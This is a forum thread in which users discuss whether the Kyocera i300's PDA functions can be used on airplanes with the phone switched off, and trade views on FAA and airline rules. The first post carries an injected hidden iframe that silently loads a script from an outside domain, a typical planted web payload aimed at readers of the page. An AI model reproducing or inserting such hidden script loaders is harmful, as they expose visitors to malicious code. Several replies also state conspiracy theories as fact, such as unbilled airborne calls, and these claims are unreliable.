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  1. #1
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    I300 on an airplane?

    Can the palm portion of the I300 be used without activating the phone portion? I ask this because I'm curious about using it as a PDA only while on an airplane, since most flights (all?) disallow use of cellphones while on the plane.

    Of course, probably more relevant than the technical issue is the appearance issue... Is it going to look like a phone, or like a PDA while I'm using it (probably depends on whether I put it to my ear)? Is the flight attendant going to tell me to turn it off even though the phone part is deactivated, or would they let me use it even though the phone part was on and interfering with flight operations. And then there's the question of whether a cellphone even can interfere with flight operations...

    I'd be interested in factual answers on the technical question, and then opinions / experiences on the appearance question.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    - Dan Butterfield (dan@butterfields.net)

  2. #2
    Always Connected Cicada's Avatar
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    i personally think it looks more like a PDA..........yes, if u hold down the phopne button on the side of the i300, you cna turn the phone off, while allowing hte PDA to still be ON.

  3. #3
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    Dan:
    I do not think you will have a problem. I fly all the time and have never been told to shut my smartphone off. Most of the time flight attendants have seen all the latest and greatest gagets, so chances are, they have already seen the i300 and know you can shut off the phone and still use the palm. I used to use my 6035 on the plane, and it looks much more like a phone (flip & hard keys). The i300 looks much more like a palm.
    Carl

  4. #4
    Old School mjorange's Avatar
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    Dan I travel a fair bit with my I300 and have yet to be questioned about it being a phone. The closest I came was when I felt I didn't need to turn it off during the "portable electronics need to be turned to the off position speach." You will have no problem my friend except for the curious traveller next to or beside you. When the phone is switched off the top of the menu screen states in bold black font "phone off" or something to that effect

  5. #5
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    I just got back from an international trip, twice I was asked to turn it off and put it away - After I showed them that the phone portion was off.

    The easiest way to avoid this is to unscrew the antenna when you are on the plane - then there is no way to identify this as a phone.

    -Steve

  6. #6
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    I travel a bit and I *have* been asked to turn it off. I'm not sure if it differs from airline to airline, but usually during taxi, takeoff, and landing, they are pretty anal about having *anything* on (palms and gameboys included). Whether this can/does interfere with radio communications and/or navigation, who knows......(I strongly doubt it)

    To answer the initial post, YES, you can have the phone off and it is pretty obvious. If you show the screen to a flight attendant they will see the little phone icon with a red line through it. Whether they will will give you time to explain it is another matter (the only time I had an attendant say something I got a hand on the shoulder and a whisper in my ear, "*I'll* let you know when its ok to use that, mmm'kay?" He quickly ran away before I could explain....)

    I like the idea of unscrewing the antenna; perception is reality, you know. If it looks like an organizer, you'd probably get less flack.

    I am curious about the FAA rules on the use of such electronics devices. What's the law? My personal feeling is that they discourage the use of celphones because they already have airphones on the plane (they have invested millions of dollars on installing these things, I'm sure, and they have you captive for some time....I sadly think a large part of it has to do with the dirty dollar.....) But I'm a cynic.

  7. #7
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    [i]
    I am curious about the FAA rules on the use of such electronics devices. What's the law? My personal feeling is that they discourage the use of celphones because they already have airphones on the plane (they have invested millions of dollars on installing these things, I'm sure, and they have you captive for some time....I sadly think a large part of it has to do with the dirty dollar.....) But I'm a cynic. [/B]
    I have said this for years... As far as I know, you can use a PDA the same as a laptop or other electronic devices.... about 10,000 feet. (at least that is what Delta does). I think Sept 11 has proven that cell phones CAN be used on an airplane. I suspect we will NEVER know if the stuff about interference with the navigation systems is true.
    Carl

  8. #8
    Old School mjorange's Avatar
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    Well certainly the devices must be turned off at take off, landing, etc. I think the question was directed more to once in the air. Steve I would have thrown a fit had they been so persistant. But I guess doing that may result in landing at the nearest airport or a B-52 escort as my sister had this weekend.

  9. #9
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    I think the whole not using cell phones on the plane is a scam by the airlines to make you use their phone system at a high cost...

    you really think the airlines would let you on a plane with a cell phone if there was ANY chance it could cause the plane to crash? NO WAY....

    there is no way everyone remembers to turn off their phone when they get on the plane....

    according to most airlines rules, while crusing, you should be able to use the I300's Palm functions, as long as the phone portion is turned off...

    Brooks

  10. #10
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    All electronics..

    Are barred during takeoff and landing on US flights. Reason- several flight incidents have occured with the final explanation being, "unknown electronic interference" They can't say it was portable electronics, but the feeling is why risk it. Quite probably this was due to older radio recievers that would blast a lot of elec. interference.

    Cell Phones however are strictly banned for two reasons, 1, see above, cell phones would broadcast more interference than other types of gear 2, fcc regs, an airborne cell phone will light up all towers in range, typically 20-30 at a time at 10,000 feet. Big waste of bandwidth. The process of switching from station to station as new towers are aquired every second or so will also put the kibbosh on your battery pretty quick.

    No comment on airphone monopoly. Would seem to fit the 5.00 for speakers mindset. I think they used the airphones on Sept 11th. 10$ a minute seems reasonable under some circumstances.

  11. #11
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    Arrow

    fikse is on the right trail..

    these devices must comply with the class b computing device standard which means they must receive interference and could interfere with other equipment. now having said that, the faa makes you turn the phones off because of that. but as fikse says.. most of that is because they want you to use the on board cell system...

    BUT...


    the REAL reason is that a cell phone is supposed to be used on the ground and used to seeing one tower at a time. if it were in the air, it could see multiple towers and therefore cause several issues with folks trying to use the towers. thats the issue!

  12. #12
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    Originally posted by Marctronixx

    the REAL reason is that a cell phone is supposed to be used on the ground and used to seeing one tower at a time. if it were in the air, it could see multiple towers and therefore cause several issues with folks trying to use the towers. thats the issue!
    Marc:
    Are you saying the airlines and the wireless carriers are in cahoots with each other. The airlines help out the wireless carriers by getting people to turn off their phones.

    I have left my cell phone on during flights. Just plain forgot about it. In reality, it is nice to say to someones..... sorry I missed your call, but I was on a plane. Not many places left in the world where a man can hide.
    Carl

  13. #13
    Old School mjorange's Avatar
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    I'm not too bothered by my not being able to make affordable calls from the air. Especially not hip to the idea of sitting next to someone rambling in my ear when I've been up 36 hours! It would be a huge hassle were phone usage permitted in the air outside of the technical issues which obviously dampen feasability. The idea that I am not even permitted to listen to my CD player for a good 25 minutes of the flight gets under my skin every time.

  14. #14
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    for what its worth.... I used to use my Palm VII on the airplane to check email while airborne..... I think the Palm uses a pager type of network.... its not a cell phone, and they don't tell you to turn off your pagers... so I figured it was fine...

    it only worked if I was in the window seat....

    Brooks

  15. #15
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    The main reason cell phones must be turned off during flight is

    1. The above stated issues regarding multiple towers are the main problem, however its not really a bandwidth issue.

    2. One could/should conclude that the fcc, airlines, and wireless carriers are in bed on this issue!

    3. If there was really any safety issues cell phones would be banned without question.

    Therefore the simple answer is --- BECAUSE of the multiple towers it makes it near impossible for the wireless carriers to bill properly tracking usage.

    So next time your on a plane, call your voicemail, the time or any call for that matter. In most cases (99%) the call will not be on your bill.

    yes it is a simple conspiracy.

    Hope this helps.

  16. #16
    Old School mjorange's Avatar
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    Interesting and perhaps very true. I still feel that someone jabbing away for two hours seated next to me might cause a small problem.

  17. #17
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    I find it rather amusing that airlines gripe about FM radios, but are oblivious to passengers playing Quake III Arena via peer-to-peer 802.11 wireless ethernet

  18. #18
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    heh, that sounds like fun.... I've never seen that on an airplane yet....


    Brooks

  19. #19
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    FAA and airlines permit PDA use with wireless mode off

    Having just been asked, at 37,000 feet, to demonstrate that I was lawfully using my PalmOne Treo 600 PDA, notwithstanding that the wireless mode was off, I have researched the issue.

    The FAA classifies both "smartphone" PDAs, and other wireless- enabled computers (whether Bluetooth, 802.11, cell or GSM) as Personal Electronic Devices (PEDs).

    The FAA's guidelines on PEDs are:
    - they must be switched off for take-off, approach and landings;
    - they may be used above 10,000 feet, provided that any wireless transmission component of the PED is not enabled.

    Some airlines deal with PEDs in a single policy statement, which permits their use at altitude after a cabin announcement, and do not refer to the further requirement that wireless components of the PED must be turned off.

    Examples of airlines which specifically require that the wireless components of the PED be turned off are (these extracts are from the policies announced on their web sites):

    British Airways:
    · Devices which have a specific "flight mode" or "flight safe" setting, e.g. some Smartphones, may be used in flight provided the flight safe mode is selected. These devices must be completely switched off during take-off, approach and landing.

    American Airlines:
    · During flight, your flight attendant will tell you when you may use portable electronic devices, such as cellphone/PDA/two-way pager combinations using only PDA functions, and only if the flight attendant can verify that transmitting capabilities are turned off.

    On the PalmOne Treo 600, the message "Wireless Mode Off" appears on the main screen when the transmitting capabilities are turned off.




    I suggest you print the extracts and carry them with you in case you meet an attendant that is not fully familiar with the policies.

    If anyone has any other examples of appropriate airline policies, please post them.

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